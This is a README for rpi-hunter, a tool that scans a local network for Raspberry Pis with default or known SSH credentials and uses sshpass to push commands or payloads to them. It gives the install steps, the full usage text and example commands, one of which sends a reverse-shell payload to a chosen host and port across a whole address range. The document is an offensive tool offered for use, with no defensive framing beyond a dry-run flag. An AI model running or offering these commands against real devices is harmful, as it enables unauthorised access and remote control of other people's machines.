• Automate discovering and dropping payloads on LAN Raspberry Pi's via ssh
• Or, the honest title: Automating sshpass for command delivery.

Rpi-hunter is useful when there are multiple Raspberry Pi's on your LAN with default or known credentials, in order to automate sending commands/payloads to them.

1. Install dependencies: sudo pip install -U argparse termcolor and sudo apt -y install arp-scan tshark sshpass
2. Download rpi-hunter: git clone https://github.com/BusesCanFly/rpi-hunter
3. Navigate to rpi-hunter: cd ./rpi-hunter
4. Make rpi-hunter.py executable: chmod +x rpi-hunter.py

• One line variant: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

Check out this sweet and the accompanying write-up made by the people over at NullByte!

* Note: For the new people, I made a few updates to rpi-hunter to fix some bugs and add some more features :) Running the command `./rpi-hunter.py` will automatically scan your whole local network and run the `whoami` command on any raspberry pi's it finds

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• Run ./rpi-hunter.py --list to see avalible payloads.

• Payloads can be specified by the payload name from --list or as raw input

  • ex. --payload reverse_shell or --payload [your cli command here]

• Example usage:

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
  • ./rpi-hunter.py -r 192.168.2.0/16 -c lamepassword --payload "ls -lah \~"